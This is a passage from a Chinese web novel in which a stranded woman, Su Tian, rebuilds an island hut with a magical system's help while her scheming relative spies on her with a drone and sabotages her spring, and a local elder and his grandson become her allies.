头顶,无人机的嗡鸣声似乎比往日更低沉一些,如同蛰伏的蜂群。
就在她全神贯注于蓝图时,异变陡生!
那一直保持在一定高度巡航的无人机,引擎声骤然变得尖锐刺耳!
如同被无形的鞭子狠狠抽打,它瞬间放弃了原有的飞行轨迹。
机头猛地向下倾斜,化作一道银灰色的闪电,带着一种近乎狂暴的气势,朝着小屋前那片洁白细腻的沙地。
苏甜刚刚“不小心”跌倒过的地方,俯冲而下!
速度太快!角度太刁钻!
苏甜只来得及惊愕地抬头!
嗡!!!
刺耳的噪音瞬间放大到极限,几乎要撕裂耳膜!
强烈的气流卷起地面的细沙,形成一小股迷眼的烟尘!
那架冰冷的机器,在离地面仅剩两三米的高度猛地悬停!
机身下方,一个苏甜从未注意过的、平时隐藏得极好的小型机械装置瞬间弹出。
那是一个结构精密的微型机械爪!
金属指关节,闪烁着无情的寒光!
机械爪如同毒蛇出洞,以迅雷不及掩耳之势,狠狠地抓向下方那片被夕阳染成金色的,纯净无瑕的白沙!
唰!
金属爪深深插入沙层,再猛地合拢!
一捧洁白、细腻、在夕阳下闪烁着温润光泽的沙粒,被牢牢地攥在了冰冷的机械爪中!
整个过程,从俯冲到抓取,发生在电光火石之间!
快得让苏甜根本来不及做出任何实质性的反应!
机械爪得手后毫不停留,迅速回收缩入机身下方。
无人机引擎功率瞬间提升到极限,发出不堪重负的尖啸。
如同偷窃得手的贼,猛地拉高机身,以近乎垂直的角度,仓皇地朝着外海的方向。
那艘苏振业所在的,引擎刚刚修复的快艇位置。
疯狂逃窜!
只留下一道狼狈的尾迹和被气流搅乱的一片狼藉的沙地。
苏甜猛地站起身,手中的木棍和黑曜石片“啪嗒”掉落在洁白的沙地上。
她脸色煞白,心脏在胸腔里狂跳,几乎要冲破喉咙!
她死死盯着那架迅速变成一个小黑点的无人机,目光最终落在它下方,那紧紧攥着一捧刺眼白沙的机械爪上!
寒意,如同最深的海沟里涌上来的冰水,瞬间浸透了她的四肢百骸。
他们想要的,从来就不只是看着!
他们要的是沙子!是样本!
是要把她赖以生存,刚刚展现出奇迹的这片土地,扒皮抽筋,拿到实验室里去切片研究!
沙地被抓取的地方,留下了一个丑陋的深坑。
周围散落着被机械爪暴力翻搅出的,下方未被完全优化的灰黄色沙粒。
像一块完美画布上被恶意撕开的伤口,触目惊心。
夕阳沉入海平线,最后一抹余晖消失。
深沉的暮色如同巨大的幕布,迅速笼罩了小岛。
小屋、洁白的沙地、薯田都陷入了越来越深的阴影之中。
只有无人机逃逸的方向,快艇隐约的灯光。
如同恶魔窥伺的眼睛,在漆黑的海面上,冰冷地闪烁。
15. 第15章
沙粒失窃,带来的冰冷余悸尚未在血液里散尽,生存的本能已驱使着苏甜再次走向海岬。
老卡尔编织的棕榈叶水壶,轻巧地挂在肩上,随着她的步伐微微晃动。
取水,是维系这座孤岛生命线的日常,是刻在骨子里的重复动作。
然而当熟悉的,带着咸腥水汽的风拂过脸颊,一种难以言喻的异样感却悄然爬上心头。
太安静了。
往日里,即使水流细微,那岩缝深处也总有一丝若有若无的,如同低语的汩汩声,伴着水滴坠落的清响。
可今天,海岬之下,只有海浪拍打礁石的沉闷轰鸣,死寂得令人心慌。
苏甜的心猛地一沉,脚步下意识加快,绕过最后一块嶙峋的礁石,扑向那处赖以生存的生命之泉。
眼前的景象让她瞳孔骤缩!
那条熟悉的,湿润的岩缝,此刻被一堆肮脏不堪的乱石和腐烂发黑的海藻死死封堵!
碎石大小不一,棱角狰狞,显然是人为挑选后暴力塞入的。
上面覆盖着厚厚一层粘稠,散发着浓烈腥臭味的深褐色海藻。
如同溃烂的伤口上覆盖的腐肉,将缝隙堵得严严实实,连一丝水汽都透不出来!
岩缝边缘,仅剩下几缕极其微弱的水痕,正艰难地,绝望地从腐藻和碎石的缝隙里渗出,沿着冰冷的岩壁蜿蜒而下。
还未流到下方她挖好的小蓄水坑,就已经□□燥的岩石和空气贪婪地吸干了。
水流,近乎断绝!
一股冰冷的怒火,瞬间从脚底直冲头顶!
苏甜攥紧了手中的匕首,指节因为用力而发白。
不是天灾,是赤裸裸的人祸!
是恶毒到要断她生路的阴谋!
她猛地转头,目光如同淬了冰的利箭,射向远处快艇停泊的方向!
那艘快艇如同趴在海面上的钢铁毒虫,在晨光下反射着刺目的光。
苏振业那张肥胖、贪婪、刻薄的脸清晰地浮现在她眼前!
除了他,还有谁?!
就在这时,一阵轻微的脚步声在礁石后方响起。
苏甜霍然转身!
是保镖乙。他正按照“例行巡查”的路线走过来,面无表情。
目光似乎随意地扫过被堵塞的岩缝,又迅速移开,落在了苏甜紧绷的脸上。
四目相对。
苏甜清晰地捕捉到了保镖乙眼中一闪而过的,极其复杂的神色!
那不是惊讶,更像是一种知晓内情却无力阻止的沉郁,甚至带着一丝不易察觉的躲闪!
他嘴唇似乎极其轻微地动了一下,但最终什么也没说。
只是迅速垂下眼睑,避开了苏甜那几乎要洞穿人心的冰冷视线。
继续沿着既定的路线,如同设定好程序的机器,沉默地走开了。
就是他!或者至少他知情!
苏甜心中的判断瞬间落定。
苏振业指使他,或者他亲自参与了这场卑劣的破坏!
愤怒的火焰在胸腔里熊熊燃烧,几乎要将理智焚毁。
她想冲过去质问,想用匕首抵住他的喉咙,想让他尝尝断水的绝望!
但仅存的,如同冰线般坚韧的理智,死死拉住了她。
不能冲动!
质问只会打草惊蛇,暴露自己知道真相,甚至可能引来对方更疯狂,更直接的打压。
在这座孤岛上,在对方拥有绝对武力和监控优势的情况下,撕破脸是自寻死路!
必须冷静!
活下去才是对敌人最大的反击!
苏甜深吸一口气,海风带着咸腥和腐藻的恶臭灌入肺腑,强行压下了沸腾的怒火。
她眼神重新变得锐利而冰冷,如同在绝境中磨砺出的寒冰。
她没有再看保镖乙消失的方向,而是迅速蹲下身,仔细检查堵塞物。
目光如同最精密的探针,一寸寸扫过那些乱石和腐藻。
突然,她的动作顿住了!
在几块碎石和一团粘稠腐藻的夹缝里,卡着一小片深蓝色的,质地异常坚韧的化纤布料碎片!
那颜色,正是苏家快艇上遮阳篷和救生圈专用的颜色!
而碎片边缘,沾着一小片极其显眼的、粘稠的、散发着刺鼻化学气味的黑绿色油污!
苏甜小心翼翼地用匕首尖挑出那块碎片,指尖捻起。
那熟悉的,属于快艇引擎专用润滑油的刺鼻气味,混杂着海藻的腥臭,直冲鼻腔!
铁证如山!
她将这块染着油污的破布碎片紧紧攥在手心,如同攥着一块烧红的烙铁,灼痛着掌心,更灼痛着理智。
愤怒再次翻涌,但这一次,被更深的冰寒包裹。
她站起身,没有立刻去动那些堵塞物。
目光锐利地扫视着四周复杂嶙峋的礁石地形。
老卡尔低沉沙哑的声音仿佛在耳边响起。
“岩壁背阴面,离地三尺,苔藓最厚那块石头后面,有条缝,水不多,胜在隐蔽。”
循着记忆和指引,苏甜很快在岩壁一处极其隐蔽的凹陷处,找到了那个微小渗水点。
位置刁钻,上方有突出的岩石和茂密的耐盐植物遮挡,下方是湿滑的苔藓覆盖的礁石。
若非老卡尔指点,绝难发现。
水滴如同断线的珍珠,极其缓慢地从岩缝深处渗出。
汇聚在下方一块天然形成的浅凹石臼里,积了薄薄一层,清澈见底,估计只有几百毫升。
这点水,杯水车薪,但足以救命!
苏甜立刻取下棕榈叶水壶,小心翼翼地将这点珍贵的救命水一滴不剩地收集起来。
动作轻柔而迅捷,如同捧着易碎的珍宝。
有了这点水打底,她焦灼的心稍微安定了一些。
接下来,是清理主水源!
苏甜没有蛮干。
她先仔细观察堵塞的结构,寻找最脆弱,最关键的受力点。
然后,她拿出那把边缘被打磨得极其锋利的黑曜石片(老卡尔之前的回赠),配合匕首,如同进行一场精密的外科手术。
她用黑曜石片小心地切割,剥离那些粘稠缠绕,散发着恶臭的腐烂海藻,避免用力拉扯造成岩缝内部更深的堵塞或污染。
遇到卡死的碎石,则用匕首的尖端配合削尖的硬木棍,一点点地撬动,松动,再极其轻柔地取出。
整个过程,她屏息凝神,动作专注而稳定,汗水顺着额角滑落也浑然不觉。
每清理出一部分堵塞物,她都仔细观察岩缝内部的情况,确保没有造成二次伤害。
清澈的水流被污染了吗?岩壁结构被破坏了吗?
幸运的是,堵塞主要集中在入口,内部的岩缝结构似乎完好。
时间一点点流逝。
当最后一块带着棱角的碎石被取出,最后一团粘稠的腐藻被剥离。
一股带着清凉水汽的微风,终于从幽深的岩缝深处涌了出来!
紧接着,一线纤细却无比清澈的水流,如同重获自由的银链。
欢快地冲破了最后的阻碍,汩汩地流淌而下,注入下方的小蓄水坑!
虽然流量比之前似乎小了一些,但那股纯净的生命气息,瞬间驱散了腐臭和绝望!
成功了!
苏甜长长地舒了一口气,紧绷的神经稍稍放松。
她捧起一掬清冽的泉水,洗去脸上和手上的污浊,冰凉的水刺激着皮肤,带来一种劫后余生的清醒。
危机暂时解除,但教训刻骨铭心。
苏甜的目光变得无比冰冷。她开始加固防御。
首先,是这处主取水点。
她利用匕首和黑曜石片,在岩缝入口两侧的岩石上,小心地凿出几个浅坑。
然后,她攀上附近的山坡,用匕首割取大量老卡尔之前特意指点过的一种藤蔓。
这种藤蔓通体墨绿,看似普通,但表皮布满极其细密,坚硬且带有轻微麻痹毒素的倒刺!
寻常触碰便会刺痛红肿,用力拉扯则可能皮开肉绽!
她将这些带刺藤蔓巧妙地编织起来,形成一张带刺的“门帘”,覆盖在岩缝入口前方半米处。
藤蔓的根部牢牢卡进凿好的浅坑里,并用石块压实固定。
从正面看,藤蔓与周围环境融为一体,但任何试图靠近岩缝的动作,都必须先面对这张致命的刺网!
她又采集了大量与岩壁颜色相近的苔藓和低矮耐盐植物,小心地覆盖在藤蔓“门帘”的边缘和固定点上,进行视觉伪装。
接着,是那个更隐蔽的微小渗水点。
苏甜如法炮制,同样设置了带刺藤蔓障碍和植物伪装,甚至更加用心,确保其隐蔽性万无一失。
这里将成为她最后的保命水源,绝不能再暴露!
做完这一切,汗水已经浸透了她的后背。
她站在加固后的主取水点前,看着那道重新流淌的清澈水流,又低头看了看掌心。
那块染着刺鼻润滑油污渍的深蓝色破布碎片,正静静地躺在那里,像一块无声的控诉碑。
苏甜的嘴角,缓缓勾起一抹冰冷到极致的弧度。
反击,开始了。
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>她拿着水壶,走向快艇停泊方向的沙滩。
步伐稳定,眼神平静无波。
在距离快艇和那片凌乱营地约三十米的地方,有一小片被潮水冲上来的、相对干净的沙滩。
这里,是苏振业每日“巡视”他这艘破船维修进度的必经之路。
苏甜停下脚步,目光扫过四周。
保镖甲正靠在快艇船舷上,面无表情地看着维修工忙碌。
保镖乙则在稍远处的礁石上警戒,背对着这边。
时机正好。
她仿佛只是弯腰整理了一下水壶的挂绳,手指极其自然、极其轻微地一松。
那块沾着刺鼻油污,如同罪证烙印般的深蓝色破布碎片,悄无声息地飘落在金黄色的细沙上。
位置不偏不倚,就在苏振业那双昂贵皮鞋即将踏上的地方。
做完这一切,苏甜甚至没有朝快艇方向多看一眼,仿佛只是无意中遗落了一件无关紧要的垃圾。
她提着水壶,步履如常地转身,朝着小屋的方向走去。
背影在晨光中显得单薄却挺直,带着一种无声的、凛冽的宣告。
午后的阳光带着慵懒的燥热。
苏振业终于从那顶依旧带着潮湿霉味的帐篷里钻了出来,脸色阴沉。
手背上被雪茄烫伤的燎泡,涂着厚厚的药膏,显得更加丑陋。
他烦躁地踢开脚边一块碍事的小石子,朝着快艇方向踱去,准备看看那群“废物”今天有没有把引擎修好。
皮鞋踩在松软的沙滩上,发出噗噗的轻响。
刚走出十几步,鞋尖似乎踢到了什么软中带硬的东西。
“嗯?”苏振业不耐烦地低头。
一块深蓝色的,沾着大片刺眼黑绿色油污的化纤碎片,正静静地躺在他锃亮的皮鞋尖前面。
那熟悉的颜色,那更加熟悉的,属于他快艇专用润滑油的刺鼻气味,如同烧红的烙铁,瞬间烫进了他的视网膜和鼻腔!
苏振业的动作瞬间僵住!
肥胖的身体,如同被无形的冰锥,钉在了原地!
他脸上的肌肉不受控制地抽搐起来,从惊愕到难以置信,再到被赤裸裸挑衅的暴怒!
小眼睛死死盯着那块破布,如同盯着一条朝他吐信的毒蛇!
她知道了!
她不仅知道是他干的,还把这恶心的东西甩到了他脸上!
无声的警告!
精准,狠辣,带着冰冷的嘲弄!
“混账!”一声压抑到极致的,如同野兽受伤般的低吼从他喉咙里挤出来。
他猛地抬头,充血的小眼睛如同淬毒的针,狠狠刺向远处那个已经变成一个小黑点的,走向小屋的身影。
充满了怨毒和一丝连他自己都不愿承认的忌惮。
快艇船舷上,一直如同石雕般沉默的保镖甲。
目光越过苏振业因暴怒而颤抖的肥胖背影,落在了他手中那个连接着无人机的战术平板上。
屏幕里,高清镜头正牢牢锁定着走向小屋的苏甜。
只见她走到小屋旁那片洁白的沙地边缘,并未立刻进去。而是停下脚步,蹲下身,似乎在整理什么。
高清镜头瞬间拉近,聚焦!
画面清晰地捕捉到。
苏甜的手,正从她那个简陋的工具小包里,拿出几根东西。
那是几根被削磨得极其尖锐、闪烁着惨白骨质光泽的尖刺!
形状扭曲,带着天然的倒钩,一看就知取自某种凶猛的海洋生物!
她面无表情,眼神冰冷专注。
左手在沙地上迅速挖出几个浅坑,右手则极其熟练,极其稳定地将那些淬着幽幽暗蓝色泽(显然是某种剧毒)的骨刺,尖端朝上,稳稳地埋进了坑里!
动作精准而迅速,带着一种令人毛骨悚然的熟练感!
埋好毒刺,她小心地覆上表层洁白的细沙,抹平痕迹。
整个过程不过十几秒,那片沙地恢复了原状,纯净无瑕,仿佛什么都没发生过。
做完这一切,苏甜站起身,甚至还抬手拂了拂裙摆上并不存在的沙尘。
然后,她才像往常一样,步履“笨拙”地、一瘸一拐地走进了小屋。
阳光照在那片洁白的沙地上,纯净得刺眼。
保镖甲看着平板屏幕上定格的,苏甜埋下毒刺后拂去沙尘的平静侧脸。
又看了一眼沙滩上那块被苏振业死死盯着的,沾满油污的破布碎片。
他沉默地关闭了平板屏幕。
冰冷的金属外壳,倒映着他毫无波澜,却深不见底的眼眸。
16. 第16章
小屋的骨架在黄昏里投下斜长的影子,如同巨兽嶙峋的肋骨。
苏甜站在阴影中,手中紧握着那个只有她能看见,触摸的系统物品【藤蔓强化剂(小份)】。
触手温润,材质似玉非玉,更像某种凝固的翡翠。
瓶身不过巴掌大小,里面盛满了浓稠得化不开的翠绿色液体。
那绿色极富生机,仿佛浓缩了一片热带雨林的精魄,在暮色中兀自散发着极其微弱的莹莹柔光。
液体在瓶中缓缓流动,带着一种奇异的粘稠感,如同活物的血液。
她寻来一个由老卡尔赠送,边缘被打磨光滑的石盆,小心地将这瓶价值150点能量的珍宝倾倒入盆中。
浓稠的翠绿药液流入石盆,并未四散流淌,反而如同有生命般微微聚拢,鼓荡。
散发出更浓郁的,带着草木清甜和雨后泥土芬芳的奇异气息。
苏甜深吸一口气,取来早已准备好的大量藤蔓。
这些藤蔓经过初步筛选,相对坚韧,但依旧带着风干的枯黄和粗糙。
她将藤蔓一段段,浸入石盆那浓稠的翠绿药液中。
奇迹在指尖悄然发生。
翠绿药液接触藤蔓的瞬间,如同饥饿的根系找到了沃土!
原本枯黄粗糙的藤蔓表皮,以肉眼可见的速度变得湿润、深绿、饱满!
那些细微的褶皱和裂纹,仿佛被无形的力量抚平。
整根藤蔓如同注入了生命,迅速变得柔韧,光滑,甚至透出一种油润的皮革光泽。
最神奇的是,藤蔓内部仿佛发出了极其细微的“滋滋”声,如同干渴的海绵在贪婪吸吮!
药液被飞速地吸收着,翠绿的颜色顺着藤蔓的纹理迅速向上蔓延,仿佛绿色的血液在枯枝中奔流!
短短十几分钟,浸泡在药液中的藤蔓彻底脱胎换骨。
它们不再是脆弱的枯枝,而是变得柔韧异常。
苏甜试着用力弯折,藤蔓展现出惊人的弹性,如同活着的蛇躯,弯曲到极限也不会断裂,松手后又能迅速恢复笔直。
表皮光滑坚韧,用力摩擦也几乎不留痕迹。
药液被吸收殆尽,石盆底部只留下一点点几乎看不见的翠绿色残渍。
苏甜眼中闪烁着兴奋的光芒。
她拿起一根强化后的藤蔓,触手温润坚韧,充满了力量感。
她拖着行动仍有些不便的伤腿(尽管恢复良好,但用力时仍会隐隐作痛)。
开始按照脑海中的蓝图,在小屋四根主梁骨架之间进行编织。
蓝图的要求,是先在骨架上构建一个基础的网格框架,作为未来墙体的支撑。
苏甜选择从背风面开始。
她将一根强化藤蔓的一端,紧紧绑扎在一根主梁离地约半米的高度(用老卡尔教的简单但牢固的平结)。
然后牵引着柔韧的藤蔓,横向跨越到相邻的主梁上,同样绑扎固定。
接着,垂直方向再绑扎一根,如此反复,如同最耐心的蜘蛛,在骨架上织网。
强化后的藤蔓,操作起来异常顺手。
柔韧性让它能轻松绕过骨架的棱角,韧性则保证了它承受拉力时不会轻易变形或崩断。
苏甜全神贯注,手指在藤蔓和骨架间翻飞,汗水浸湿了鬓角也浑然不觉。
夕阳的金辉,穿过尚未完成的藤蔓网格,在地上投下斑驳跳跃的光影,如同跳动的音符。
当背风面的第一片约两米宽,一米高的藤蔓网格初步成形时,苏甜后退几步,拄着匕首,微微喘息。
汗水顺着下巴滴落在洁白的沙地上,洇开小小的深色斑点。
她看着眼前交织的藤蔓网格,虽然简陋,却充满了亲手创造的成就感和对未来家园的憧憬。
这是小屋迈向真正庇护所的关键一步!
她甚至能想象,当网格被填充,覆盖,内部将是一个多么安全温暖的空间。
就在她沉浸在这份微小的喜悦中时,一种被注视的感觉如同羽毛般轻轻扫过她的后颈。
苏甜猛地回头!
小屋侧面,那片沐浴在浓郁暮色中的雨林边缘,巨大的蕨类植物阴影下,不知何时多了一个沉默的身影。
老卡尔。
他像一尊由古铜礁石雕成的塑像,灰白的脏辫束在脑后,左眼的疤痕在阴影中更显深刻。
赤脚踩在沙地上,悄无声息。
他那双鹰隼般锐利的眼睛,此刻正穿透暮色,静静地落在苏甜刚刚完成的藤蔓网格上。
又缓缓扫过那片在夕阳下洁白得刺眼的沙地,扫过沙地上那一片生机勃勃,长势喜人的翠绿薯田。
最后,长久地停留在小屋那厚实,墨绿,在晚风中纹丝不动的神奇海草屋顶上。
他的目光深邃而复杂,有审视,有疑惑,但更多的是一种苏甜从未在他眼中看到过的,近乎凝滞的震动。
仿佛眼前这简陋小屋,这片被奇迹改造的土地,触动了他心底某个尘封已久的角落。
苏甜的心跳微微加速。
她没有出声,只是静静地站着,任由对方的目光如同探照灯般扫过她努力的成果。
她在他眼中看到了震撼,这让她连日来的疲惫和紧绷,似乎都得到了一丝无声的慰藉。
老卡尔的目光,最终落回苏甜身上,在她还带着汗渍和沙尘的脸上停留片刻,又移到她那只行动尚有些微碍的伤腿上。
然后,他动了。
没有言语,他沉默地迈开步子,赤脚踩在温软的细沙上,一步步朝着小屋走来。
步伐不快,却带着一种沉甸甸的分量。
夕阳将他的影子拉得很长,一直延伸到苏甜的脚下。
苏甜下意识地握紧了手中的匕首,但很快又松开,只是静静地看着他走近。
老卡尔径直走到苏甜刚刚编织的藤蔓网格前,停下。
粗糙如树皮的手指伸出,带着一种近乎郑重的力道,按在了网格上苏甜刚刚打好,用于固定一根垂直藤蔓的绳结上。
那是一个简单的平结。
老卡尔的手指在那个绳结上摩挲了一下,粗糙的指腹感受着藤蔓强化后的柔韧触感。
他抬起头,看向苏甜,眼神如同深潭,古井无波,却清晰地传递出信息。
“这种结”他的声音低沉沙哑,如同砂纸摩擦礁石,是苏甜第一次听到他开口说话!
“风一扯,就开。”
苏甜的心猛地一跳!
不是因为指责,而是因为这主动的开口和精准的指正!
老卡尔不再看她,目光转向小屋的骨架和那片墨绿的海草屋顶,仿佛在评估它们将要承受的风暴力量。
他解下一直斜挎在身后的一个用兽皮缝制的简陋袋子,从里面拿出一捆东西。
那不是藤蔓,而是经过特殊处理的树皮纤维!
深褐色,被反复捶打、浸泡、晾晒过,纤维被梳理得极其顺滑,然后搓捻成比小指略细的绳索。
绳索表面泛着油润的光泽,透着一股坚韧无比的气息。
他将这捆树皮纤维绳递给苏甜。
苏甜下意识地接过。
绳索入手沉甸甸的,触感却异常柔韧光滑,带着植物纤维特有的温润和一股淡淡的草木清香。
比强化后的藤蔓,似乎还要坚韧几分!
“防风”老卡尔言简意赅,目光重新落回藤蔓网格上。
“要打[渔人结]。”
说完,他不再多言。
伸出那双布满老茧、关节粗大的手,从苏甜采集的备用藤蔓中抽出一根强化过的藤条,又从苏甜手中那捆树皮绳中扯出一段。
他的动作并不快,却带着一种行云流水般的韵律和难以言喻的力量感。
粗粝的手指灵活地穿梭、缠绕、穿插、收紧。
树皮绳如同最忠实的仆从,缠绕着柔韧的藤蔓,在他指间翻飞,咬合。
那结法极其古怪复杂,绝非苏甜见过的任何一种!
绳结的主体部分层层相套,互相锁死。
最后的收尾更是巧妙地回穿勒紧,形成一个如同岩石般坚固,棱角分明的疙瘩。
整个绳结完成,老卡尔双手抓住藤蔓两端,猛地向两边全力一扯!
粗壮的手臂肌肉虬结贲起,蕴含着爆炸性的力量!
吱嘎!
藤蔓和树皮绳被拉扯到极限,发出令人牙酸的紧绷声!
然而,那个古怪的[渔人结]却如同焊接在藤蔓上的铁块,纹丝不动!
任凭老卡尔如何发力,绳结没有一丝松脱的迹象,反而在巨大的拉力下显得更加紧凑,坚固!
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老卡尔松开手,藤蔓猛地弹回,绳结依旧完好如初。
他看向苏甜,眼神示意。看懂了?
苏甜用力点头,眼中充满了震撼和求知的渴望。
这个绳结的牢固程度,超乎想象!
这绝对是应对海岛狂暴风雨的无价之宝!
“谢谢您,卡尔先生!”苏甜的声音带着真诚的感激和一丝不易察觉的激动。
“您帮了我大忙!”
老卡尔只是微微颔首,算是接受了谢意。
他那双深邃的眼睛再次扫过小屋、沙地、薯田,最后落在苏甜脸上,停留的时间比以往任何一次都长。
那目光里有审视,有探究,似乎终于下定了某种决心。
“这里”他低沉的声音再次响起,抬起粗糙的手指。
缓缓划过小屋、洁白的沙地、翠绿的薯田,最终指向那片在暮色中显得幽深神秘的雨林。
“曾经,也绿过。”
他的声音很轻,却像重锤敲在苏甜心上。
她瞬间明白了[也绿过]这三个字背后沉甸甸的分量,那是被掠夺,被破坏前的生机勃勃。
苏甜迎上老卡尔的目光,眼神清澈而坚定,一字一句地说道。
“我想让它重新绿起来。不只是这里,还有珊瑚礁,还有整座岛。让它恢复成它本该有的样子。”
这是她第一次如此清晰,直接地向老卡尔袒露自己的目标,超越了简单的生存。
老卡尔深深地凝视着苏甜,古铜色的脸上没有任何表情,只有左眼那道疤痕在暮色中微微抽动了一下。
海风拂过他灰白的脏辫,带来雨林深处湿润的气息。
沉默,在两人之间流淌。
几秒钟后,极其轻微地,几乎难以察觉地,老卡尔点了一下头。
幅度很小,却重若千钧。
没有豪言壮语,没有击掌盟誓。
只是一个简单的点头动作,却如同在契约上盖下了最郑重的印章。
他认可了她的目标!认可了[恢复生机]这个共同的愿景!
一丝难以言喻的激动和暖流,瞬间涌遍苏甜全身。
她刚想开口,老卡尔却已经转过身,准备离开。
就在他迈步走向雨林边缘的刹那,脚步顿了一下,没有回头。
只是用那低沉沙哑的嗓音,抛下了一句如同石子投入平静湖面的话。
“阿土,我孙子。过几天,来送鱼。”
话音落下,他不再停留,赤脚踩过洁白的细沙。
身影迅速融入了那片被暮色笼罩的,如同巨兽匍匐的雨林阴影之中,消失不见。
苏甜站在原地,手中还紧紧握着那捆油润坚韧的树皮绳,绳上那个古怪的[渔人结]棱角分明,透着磐石般的坚固。
老卡尔最后那句话在她耳边回荡。
阿土?孙子?来送鱼?
这不仅仅是食物供给的承诺!
这是人力!
是更紧密的,基于共同目标而建立的联结!
一种前所未有的,名为“伙伴”和“希望”的力量,在她心中悄然滋生、壮大。
她深吸一口带着草木清香的空气,转身,目光灼灼地看向那片刚刚成形的藤蔓网格。
她拿起一根强化藤蔓和一段树皮绳,回忆着老卡尔方才的动作,开始笨拙却无比专注地尝试编织那个复杂无比的[渔人结]。
夕阳彻底沉入海平线,只留下漫天瑰丽的晚霞。
小屋的骨架在暮色中沉默矗立,新编织的藤蔓网格在晚风中轻轻摇曳。
其上那个刚刚诞生,略显生涩却异常坚固的[渔人结],在最后一抹天光下,折射出沉毅的光泽。
就在这时,高空之中,那架如同跗骨之蛆的银灰色无人机,悄无声息地掠过晚霞映照的天幕。
它猩红的镜头,如同恶魔之眼,瞬间捕捉到了雨林边缘。
一个模糊却极具辨识度的,束着灰白脏辫,赤足的古铜色身影,正消失在浓密的蕨类植物之后。
镜头迅速拉近,聚焦!
高清画面清晰地定格在藤蔓网格上,那个与周围简陋编织格格不入,充满了古老智慧和磅礴力量的,古怪而复杂的绳结上!
快艇的加密频道里,瞬间响起了操控员变了调的惊呼!
17. 第17章
晨光刺破海平线,将细软的白沙,染成一片晃眼的金箔。
苏甜正蹲在薯田边,用老卡尔赠送的黑曜石片小心地削着一根笔直的硬木。
这是为即将开始的木窗,制作准备的窗框材料。
藤蔓网格墙在晨风中轻轻摇曳,其上几个略显生涩却异常坚固的[渔人结]在阳光下棱角分明。
突然,一阵急促的,如同密集鼓点般的脚步声由远及近,打破了清晨的宁静!
那声音轻快,充满野性的活力,踏在温热的细沙上,发出噗噗的闷响,速度快得惊人!
伴随着脚步声,还有清脆的,如同小铃铛般的哗啦哗啦声,有节奏地跳跃着。
苏甜警觉地抬头,握紧了手中的黑曜石片,目光锐利地投向声音来源,雨林边缘的方向。
一道身影如同矫健的猎豹,冲破浓绿的蕨类屏障,踏上了洁白的沙地!
那是个少年。约莫十四五岁年纪,皮肤是阳光和海风长期亲吻后的深栗色,泛着健康的光泽。
身形精瘦却线条流畅,充满了蓬勃的力量感。
他只穿着一条洗得发白的旧麻布短裤,赤着精壮的上身和双脚。
一头浓密的黑色卷发如同海藻般蓬松,随着奔跑肆意飞扬。
最引人注目的,是他赤裸的脚踝上,用细韧的藤蔓系着的一串五彩斑斓的小贝壳和小珊瑚枝,随着他的奔跑相互碰撞,发出清脆悦耳的哗啦声。
少年背上,斜挎着一个用柔韧藤条和宽大棕榈叶编织成的大鱼篓。
篓口用草绳扎着,但里面显然装满了活物,正剧烈地晃动着,发出扑腾挣扎的闷响。
他目标明确,一阵风似地直奔小屋而来,速度极快,赤脚踩在滚烫的沙地上竟似毫无感觉!
转眼间就冲到了苏甜面前几米处,猛地刹住脚步,带起一小片飞扬的沙尘。
“苏姐!”少年咧嘴一笑,露出一口白得晃眼的牙齿,笑容灿烂得如同正午的太阳,瞬间驱散了清晨的微凉。
他的眼睛又黑又亮,像浸在海水里的黑曜石,闪烁着毫无城府的纯真和蓬勃的朝气。
他声音清亮,带着少年人特有的穿透力,用的是略显生涩但发音清晰的通用语。
“老卡尔爷爷让我来的!”
话音未落,他动作麻利地将背上那个沉甸甸的大鱼篓“咚”地一声放在沙地上。篓口草绳一解!
哗啦!噗通!簌簌!
瞬间,海鲜特有的浓烈腥鲜气息,混合着海水的咸味扑面而来!
鱼篓里如同炸开了锅!
两条近尺长的银鳞海鱼疯狂摆尾,拍打着篓壁,银光闪闪。
三四只硕大的青壳龙虾张牙舞爪,粗壮的螯足有力地开合,发出咔哒咔哒的威胁声。
还有一堆外壳斑斓,紧紧闭合的海贝和几个巴掌大的肥美生蚝,随着晃动簌簌作响!
所有的海货都活蹦乱跳,透着一股刚离水不久的极致新鲜!
一只最生猛的青壳龙虾似乎被摔懵了,晕头转向地爬出鱼篓,硕大的螯足无意识地挥舞着,竟一把钳住了苏甜裙摆的破旧边缘!
死死夹住不放!
“哎哟!”阿土怪叫一声,反应快如闪电!
他一个箭步上前,手指精准地捏住龙虾背部甲壳与尾部连接处那个脆弱的软膜,轻轻一捏!
刚才还威风凛凛的大龙虾瞬间如同被点了穴,螯足无力地松开裙摆,整个身体都瘫软下来。
“嘿嘿,苏姐,对不住啊!这傻大个儿!”
阿土拎着瞬间“老实”的龙虾,挠了挠他那头蓬松的卷发。
笑容里带着点不好意思,但更多的是完成任务的兴奋。
他献宝似的把还在微微动弹的龙虾,举到苏甜面前。
“看!都是今早刚抓的!爷爷说,以后我天天给苏姐送!”
苏甜看着眼前这个如同小太阳般突然出现的少年,看着他脚踝上跳跃的贝壳串,看着他灿烂的笑容和篓里还在蹦跶的鲜货,再低头看看裙摆上那个小小的钳印。
一股难以言喻的暖流和生机感,瞬间冲散了连日来孤岛挣扎的阴霾和紧绷。
“阿土?”苏甜试探着叫出老卡尔提到的名字。
脸上也忍不住露出了登岛以来第一个发自内心的,轻松的笑容。
“谢谢你!也替我谢谢卡尔爷爷!”
“甭客气!”阿土大手一挥,自来熟得仿佛两人早已认识多年。
他放下龙虾,目光立刻被小屋旁的景象吸引,黑亮的眼睛里充满了毫不掩饰的好奇和惊叹。
“哇!苏姐,你这地方太神了!”他赤着脚,几步就跑到那片洁白的沙地上。
用力踩了踩,又蹲下身抓起一把细沙,看着它们如同流银般从指缝泻落。
“这沙,跟面粉似的!比我爷爷说的天堂滩还白!”
他又跑到郁郁葱葱的薯田边,看着那些油绿肥厚的叶片。
“这薯苗长得!喂猪都嫌奢侈!”
最后,他的目光定格在小屋那藤蔓交织的网格墙和厚实的海草屋顶上,啧啧称奇。
“这屋子!藤子绑得真带劲!这草顶,下雨肯定不漏吧?”
他像个闯入新奇世界的孩子,这里摸摸,那里看看。
充满活力的话语和清脆的贝壳声,瞬间填满了小屋周围的空间,让这片曾经死寂的土地骤然生动起来。
“苏姐,饿了吧?看我露一手!”
阿土欣赏够了,一拍脑袋,想起正事。
他麻利地重新拎起鱼篓,走到小屋背风处,那里有苏甜平日生火做饭的石块堆。
他动作娴熟地开始处理海鲜。
杀鱼去鳞,开膛破肚,动作行云流水,快得让人眼花缭乱。
鱼鳞在阳光下反射着细碎的银光,如同下了一场小雨。
处理龙虾时,他直接用小刀背在虾头连接处一敲,轻轻一扭,便完美分离虾头虾身,取出虾线。
